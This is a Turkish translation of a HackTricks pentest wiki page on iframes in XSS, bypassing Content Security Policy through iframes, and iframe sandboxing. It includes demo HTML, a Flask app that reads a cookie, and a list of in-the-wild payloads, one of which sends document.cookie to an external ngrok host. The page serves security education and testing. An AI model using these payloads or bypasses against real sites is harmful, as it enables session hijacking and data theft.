9.2 KiB
XSS'te İframeler, CSP ve SOP
Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
- **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARI'na göz atın!
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Resmi PEASS & HackTricks ürünlerini edinin
- Katılın 💬 Discord grubuna veya telegram grubuna veya Twitter 🐦@carlospolopm'ı takip edin.
- Hacking püf noktalarınızı göndererek PR'lerle paylaşın hacktricks repo ve hacktricks-cloud repo.
XSS'te İframeler
Bir iframeli sayfanın içeriğini belirtmenin 3 yolu vardır:
src
ile bir URL belirterek (URL çapraz kökenli veya aynı kökenli olabilir)data:
protokolünü kullanarak içeriği belirtereksrc
ile- İçeriği belirterek
srcdoc
kullanarak
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
Eğer önceki html'e bir http sunucusu üzerinden erişirseniz (örneğin python3 -m http.server
gibi) tüm scriptlerin yürütüldüğünü fark edeceksiniz (çünkü bunu engelleyen bir CSP yoktur). Ana içerik, herhangi bir iframe içindeki secret
değişkenine erişemez ve yalnızca aynı site olarak kabul edilen if2 ve if3 iframeleri orijinal penceredeki secret
e erişebilir.
if4'ün null
kökene sahip olduğuna dikkat edin.
CSP ile İframeler
{% hint style="info" %} Lütfen, aşağıdaki bypasslarda iframelenen sayfanın yanıtının JS yürütmesini engelleyen herhangi bir CSP başlığı içermediğine dikkat edin. {% endhint %}
script-src
'nin self
değeri, JS kodunun data:
protokolünü veya srcdoc
özniteliğini kullanarak yürütülmesine izin vermeyecektir.
Ancak, CSP'nin none
değeri bile, src
özniteliğine URL (tam veya sadece yol) ekleyen iframelerin yürütülmesine izin verecektir.
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Not alınan CSP'nin yalnızca iç içe betiğin yürütülmesine izin verdiğine dikkat edin.
Ancak, yalnızca if1
ve if2
betiklerinin yürütüleceğine ancak yalnızca if1
'in üst öğeye erişebileceğine dikkat edin.
Bu nedenle, bir JS dosyasını sunucuya yükleyebilir ve bunu iframe aracılığıyla yükleyebilirseniz, script-src 'none'
ile bile bir CSP'yi atlayabilirsiniz. Bu, aynı site JSONP uç noktasını istismar ederek de mümkün olabilir.
Bunu, bir çerezin script-src 'none'
ile bile çalındığı aşağıdaki senaryo ile test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızdan erişin:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Vahşi Doğada Bulunan Diğer Yükler
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe kum havuzu
Bir iframe içindeki içerik, sandbox
özniteliğinin kullanımıyla ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu öznitelik uygulanmaz, yani herhangi bir kısıtlama bulunmamaktadır.
Kullanıldığında, sandbox
özniteliği birkaç kısıtlama getirir:
- İçerik, benzersiz bir kaynaktan geldiği gibi işlenir.
- Form gönderme girişimleri engellenir.
- Komut dosyalarının yürütülmesi yasaklanmıştır.
- Belirli API'lere erişim devre dışı bırakılmıştır.
- Bağlantıların diğer gezinme bağlamlarıyla etkileşimini engeller.
<embed>
,<object>
,<applet>
veya benzer etiketler aracılığıyla eklentilerin kullanımı yasaktır.- İçeriğin üst düzey gezinme bağlamının içeriğin kendisi tarafından engellenmesi.
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
Özniteliğin değeri, tüm yukarıdaki kısıtlamaların uygulanması için boş bırakılabilir (sandbox=""
). Aksi takdirde, belirli kısıtlamalardan bir iframe'ın muaf olmasını sağlayan belirli değerlerin boşlukla ayrılmış bir listesi olarak ayarlanabilir.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Iframe'lerde SOP
Aşağıdaki sayfalara bakın:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
Sıfırdan kahraman olmak için AWS hackleme htARTE (HackTricks AWS Red Team Expert) öğrenin!
- **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARI'na göz atın!
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuzu
- Resmi PEASS & HackTricks ürünlerini edinin
- Katılın 💬 Discord grubuna veya telegram grubuna veya Twitter 🐦@carlospolopm'u takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek hacktricks repo ve hacktricks-cloud repo ile paylaşın.